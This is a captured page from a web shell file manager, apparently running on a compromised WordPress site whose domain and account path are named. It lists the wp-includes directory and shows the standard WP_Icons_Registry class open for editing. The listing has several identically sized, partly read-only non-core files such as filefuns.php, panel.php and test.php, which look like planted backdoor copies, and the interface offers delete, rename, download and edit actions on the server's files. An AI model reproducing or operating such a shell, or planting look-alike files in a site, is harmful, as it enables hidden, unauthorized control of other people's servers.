ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.0.30

Path:root/home/godaofbq/hyperredbed.com/wp-includes/

Name	Size	Perm	Actions
📁 ID3	-	0755	🗑️ 🏷️
📁 IXR	-	0755	🗑️ 🏷️
📁 PHPMailer	-	0755	🗑️ 🏷️
📁 Requests	-	0755	🗑️ 🏷️
📁 SimplePie	-	0755	🗑️ 🏷️
📁 Text	-	0755	🗑️ 🏷️
📁 abilities-api	-	0755	🗑️ 🏷️
📁 ai-client	-	0755	🗑️ 🏷️
📁 assets	-	0755	🗑️ 🏷️
📁 block-bindings	-	0755	🗑️ 🏷️
📁 block-patterns	-	0755	🗑️ 🏷️
📁 block-supports	-	0755	🗑️ 🏷️
📁 blocks	-	0755	🗑️ 🏷️
📁 build	-	0755	🗑️ 🏷️
📁 certificates	-	0755	🗑️ 🏷️
📁 css	-	0755	🗑️ 🏷️
📁 customize	-	0755	🗑️ 🏷️
📁 fonts	-	0755	🗑️ 🏷️
📁 html-api	-	0755	🗑️ 🏷️
📁 images	-	0755	🗑️ 🏷️
📁 interactivity-api	-	0755	🗑️ 🏷️
📁 js	-	0755	🗑️ 🏷️
📁 l10n	-	0755	🗑️ 🏷️
📁 php-ai-client	-	0755	🗑️ 🏷️
📁 php-compat	-	0755	🗑️ 🏷️
📁 pomo	-	0755	🗑️ 🏷️
📁 rest-api	-	0755	🗑️ 🏷️
📁 sitemaps	-	0755	🗑️ 🏷️
📁 sodium_compat	-	0755	🗑️ 🏷️
📁 style-engine	-	0755	🗑️ 🏷️
📁 widgets	-	0755	🗑️ 🏷️
📄 abilities-api.php	23.8 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 abilities.php	7.82 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 admin-bar.php	38.39 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 ai-client.php	2.49 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 atomlib.php	11.9 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 block-bindings.php	7.35 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 block-i18n.json	0.31 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 block-template-utils.php	61.33 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 blocks.php	116.64 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 bookmark-template.php	12.47 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 bookmark.php	15.07 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 cache-compat.php	10.76 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 canonical.php	33.83 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 capabilities.php	42.61 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 category-template.php	55.65 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 category.php	12.53 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-avif-info.php	29.3 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-feed.php	0.53 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-json.php	42.65 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-phpmailer.php	0.65 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-requests.php	2.18 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-simplepie.php	0.44 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-smtp.php	0.45 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-snoopy.php	36.83 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-walker-category.php	8.28 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-walker-nav-menu.php	11.76 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-walker-page-dropdown.php	2.65 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-walker-page.php	7.43 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-admin-bar.php	17.58 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-ajax-response.php	5.14 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-block-bindings-registry.php	8.07 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-block-bindings-source.php	2.92 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-block-parser-block.php	2.5 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-block-parser-frame.php	1.95 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-block-parser.php	11.25 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-block-pattern-categories-registry.php	4.28 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-block-styles-registry.php	6.27 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-block-supports.php	6.4 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-block-type-registry.php	4.91 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-block-type.php	16.83 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-block.php	24.14 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-classic-to-block-menu-converter.php	3.93 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-comment-query.php	47.49 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-comment.php	9.15 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-customize-control.php	25.51 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-customize-manager.php	198.13 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-customize-nav-menus.php	56.61 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-customize-widgets.php	70.89 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-date-query.php	35.13 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-dependencies.php	16.69 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-dependency.php	2.59 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-duotone.php	39.95 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-embed.php	15.54 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-exception.php	0.25 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-fatal-error-handler.php	7.96 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-feed-cache-transient.php	3.23 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-http-requests-hooks.php	1.97 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-icons-registry.php	7.67 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-image-editor-gd.php	20.22 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-image-editor-imagick.php	36.11 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-image-editor.php	17.01 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-list-util.php	7.27 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-locale-switcher.php	6.62 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-locale.php	16.45 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-matchesmapregex.php	1.79 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-meta-query.php	29.79 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-metadata-lazyloader.php	6.67 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-navigation-fallback.php	8.98 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-network.php	12.01 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-plugin-dependencies.php	24.59 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-post-type.php	29.95 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-recovery-mode-cookie-service.php	6.72 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-recovery-mode-link-service.php	3.44 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-rewrite.php	62.2 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-role.php	2.46 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-session-tokens.php	7.15 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-simplepie-file.php	3.47 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-site-query.php	30.74 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-speculation-rules.php	7.38 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-styles.php	13.04 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-term-query.php	39.8 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-theme-json-resolver.php	34.86 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-theme-json-schema.php	7.19 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-url-pattern-prefixer.php	4.69 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-user-request.php	2.25 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-widget-factory.php	3.27 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-xmlrpc-server.php	209.98 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class.wp-dependencies.php	0.36 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class.wp-styles.php	0.33 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 comment-template.php	100.79 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 compat.php	15.69 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 cron.php	43.94 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 date.php	0.39 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 default-filters.php	36.54 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 error_log	11.04 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 feed-atom.php	3.05 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 feed-rdf.php	2.61 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 feed-rss.php	1.16 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 filefuns.php	5.92 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 fonts.php	9.56 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 functions.php	283.52 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 functions.wp-styles.php	8.45 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 general-template.php	170.83 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 index.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 kses.php	81.03 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 l10n.php	69.74 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 link-template.php	156.39 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 load.php	55.15 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 locale.php	0.16 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 media-template.php	61.79 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 media.php	219.66 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 meta.php	65.17 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 ms-blogs.php	25.71 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 ms-default-constants.php	4.81 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 ms-default-filters.php	6.48 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 ms-deprecated.php	21.24 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 ms-files.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 ms-network.php	3.69 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 ms-site.php	40.75 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 nav-menu-template.php	25.38 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 nav-menu.php	43.23 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 option.php	102.62 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 panel.php	6.83 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 post-formats.php	6.9 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 post-template.php	67.01 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 post.php	289.58 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 registration-functions.php	0.2 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 revision.php	29.99 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 rewrite.php	19 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 robots-template.php	5.06 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 rss-functions.php	0.25 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 rss.php	22.66 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 shortcodes.php	23.47 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 sitemaps.php	3.16 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 spl-autoload-compat.php	0.43 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 style-engine.php	7.39 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 template-loader.php	4.17 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 test.php	6.83 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 theme-i18n.json	1.85 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 theme-previews.php	2.82 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 theme.json	8.83 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 update.php	37.38 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 vars.php	6.45 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 view-transitions.php	0.59 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 widgets.php	69.17 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 wp-db.php	0.43 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 wp-load.php	6.83 KB	0755	🗑️ 🏷️ ⬇️ ✏️

Edit: class-wp-icons-registry.php

<?php

/**
 * Icons API: WP_Icons_Registry class
 *
 * @package WordPress
 * @since 7.0.0
 */

/**
 * Core class used for interacting with registered icons.
 *
 * @since 7.0.0
 */
class WP_Icons_Registry {
	/**
	 * Registered icons array.
	 *
	 * @var array[]
	 */
	protected $registered_icons = array();

/**
	 * Container for the main instance of the class.
	 *
	 * @var WP_Icons_Registry|null
	 */
	protected static $instance = null;

/**
	 * Constructor.
	 *
	 * WP_Icons_Registry is a singleton class, so keep this protected.
	 *
	 * For 7.0, the Icons Registry is closed for third-party icon registry,
	 * serving only a subset of core icons.
	 *
	 * These icons are defined in @wordpress/packages (Gutenberg repository) as
	 * SVG files and as entries in a single manifest file. On init, the
	 * registry is loaded with those icons listed in the manifest.
	 */
	protected function __construct() {
		$icons_directory = __DIR__ . '/images/icon-library/';
		$manifest_path   = __DIR__ . '/assets/icon-library-manifest.php';

if ( ! is_readable( $manifest_path ) ) {
			wp_trigger_error(
				__METHOD__,
				__( 'Core icon collection manifest is missing or unreadable.' )
			);
			return;
		}

$collection = include $manifest_path;

if ( empty( $collection ) ) {
			wp_trigger_error(
				__METHOD__,
				__( 'Core icon collection manifest is empty or invalid.' )
			);
			return;
		}

foreach ( $collection as $icon_name => $icon_data ) {
			if (
				empty( $icon_data['filePath'] )
				|| ! is_string( $icon_data['filePath'] )
			) {
				_doing_it_wrong(
					__METHOD__,
					__( 'Core icon collection manifest must provide valid a "filePath" for each icon.' ),
					'7.0.0'
				);
				return;
			}

$this->register(
				'core/' . $icon_name,
				array(
					'label'    => $icon_data['label'],
					'filePath' => $icons_directory . $icon_data['filePath'],
				)
			);
		}
	}

/**
	 * Registers an icon.
	 *
	 * @param string $icon_name       Icon name including namespace.
	 * @param array  $icon_properties {
	 *     List of properties for the icon.
	 *
	 *     @type string $label    Required. A human-readable label for the icon.
	 *     @type string $content  Optional. SVG markup for the icon.
	 *                            If not provided, the content will be retrieved from the `filePath` if set.
	 *                            If both `content` and `filePath` are not set, the icon will not be registered.
	 *     @type string $filePath Optional. The full path to the file containing the icon content.
	 * }
	 * @return bool True if the icon was registered with success and false otherwise.
	 */
	protected function register( $icon_name, $icon_properties ) {
		if ( ! isset( $icon_name ) || ! is_string( $icon_name ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Icon name must be a string.' ),
				'7.0.0'
			);
			return false;
		}

$allowed_keys = array_fill_keys( array( 'label', 'content', 'filePath' ), 1 );
		foreach ( array_keys( $icon_properties ) as $key ) {
			if ( ! array_key_exists( $key, $allowed_keys ) ) {
				_doing_it_wrong(
					__METHOD__,
					sprintf(
						// translators: %s is the name of any user-provided key
						__( 'Invalid icon property: "%s".' ),
						$key
					),
					'7.0.0'
				);
				return false;
			}
		}

if ( ! isset( $icon_properties['label'] ) || ! is_string( $icon_properties['label'] ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Icon label must be a string.' ),
				'7.0.0'
			);
			return false;
		}

if (
			( ! isset( $icon_properties['content'] ) && ! isset( $icon_properties['filePath'] ) ) ||
			( isset( $icon_properties['content'] ) && isset( $icon_properties['filePath'] ) )
		) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Icons must provide either `content` or `filePath`.' ),
				'7.0.0'
			);
			return false;
		}

if ( isset( $icon_properties['content'] ) ) {
			if ( ! is_string( $icon_properties['content'] ) ) {
				_doing_it_wrong(
					__METHOD__,
					__( 'Icon content must be a string.' ),
					'7.0.0'
				);
				return false;
			}

$sanitized_icon_content = $this->sanitize_icon_content( $icon_properties['content'] );
			if ( empty( $sanitized_icon_content ) ) {
				_doing_it_wrong(
					__METHOD__,
					__( 'Icon content does not contain valid SVG markup.' ),
					'7.0.0'
				);
				return false;
			}
		}

$icon = array_merge(
			$icon_properties,
			array( 'name' => $icon_name )
		);

$this->registered_icons[ $icon_name ] = $icon;

return true;
	}

/**
	 * Sanitizes the icon SVG content.
	 *
	 * Logic borrowed from twentytwenty.
	 * @see twentytwenty_get_theme_svg
	 *
	 * @param string $icon_content The icon SVG content to sanitize.
	 * @return string The sanitized icon SVG content.
	 */
	protected function sanitize_icon_content( $icon_content ) {
		$allowed_tags = array(
			'svg'     => array(
				'class'       => true,
				'xmlns'       => true,
				'width'       => true,
				'height'      => true,
				'viewbox'     => true,
				'aria-hidden' => true,
				'role'        => true,
				'focusable'   => true,
			),
			'path'    => array(
				'fill'      => true,
				'fill-rule' => true,
				'd'         => true,
				'transform' => true,
			),
			'polygon' => array(
				'fill'      => true,
				'fill-rule' => true,
				'points'    => true,
				'transform' => true,
				'focusable' => true,
			),
		);
		return wp_kses( $icon_content, $allowed_tags );
	}

/**
	 * Retrieves the content of a registered icon.
	 *
	 * @param string $icon_name Icon name including namespace.
	 * @return string|null The content of the icon, if found.
	 */
	protected function get_content( $icon_name ) {
		if ( ! isset( $this->registered_icons[ $icon_name ]['content'] ) ) {
			$content = file_get_contents(
				$this->registered_icons[ $icon_name ]['filePath']
			);
			$content = $this->sanitize_icon_content( $content );

if ( empty( $content ) ) {
				wp_trigger_error(
					__METHOD__,
					__( 'Icon content does not contain valid SVG markup.' )
				);
				return null;
			}

$this->registered_icons[ $icon_name ]['content'] = $content;
		}
		return $this->registered_icons[ $icon_name ]['content'];
	}

/**
	 * Retrieves an array containing the properties of a registered icon.
	 *
	 *
	 * @param string $icon_name Icon name including namespace.
	 * @return array|null Registered icon properties or `null` if the icon is not registered.
	 */
	public function get_registered_icon( $icon_name ) {
		if ( ! $this->is_registered( $icon_name ) ) {
			return null;
		}

$icon            = $this->registered_icons[ $icon_name ];
		$icon['content'] = $icon['content'] ?? $this->get_content( $icon_name );

return $icon;
	}

/**
	 * Retrieves all registered icons.
	 *
	 * @param string $search Optional. Search term by which to filter the icons.
	 * @return array[] Array of arrays containing the registered icon properties.
	 */
	public function get_registered_icons( $search = '' ) {
		$icons = array();

foreach ( $this->registered_icons as $icon ) {
			if ( ! empty( $search ) && false === stripos( $icon['name'], $search ) ) {
				continue;
			}

$icon['content'] = $icon['content'] ?? $this->get_content( $icon['name'] );
			$icons[]         = $icon;
		}

return $icons;
	}

/**
	 * Checks if an icon is registered.
	 *
	 *
	 * @param string $icon_name Icon name including namespace.
	 * @return bool True if the icon is registered, false otherwise.
	 */
	public function is_registered( $icon_name ) {
		return isset( $this->registered_icons[ $icon_name ] );
	}

/**
	 * Utility method to retrieve the main instance of the class.
	 *
	 * The instance will be created if it does not exist yet.
	 *
	 *
	 * @return WP_Icons_Registry The main instance.
	 */
	public static function get_instance() {
		if ( null === self::$instance ) {
			self::$instance = new self();
		}

return self::$instance;
	}
}

📁 ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ PHP v8.0.30

Edit: class-wp-icons-registry.php

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.0.30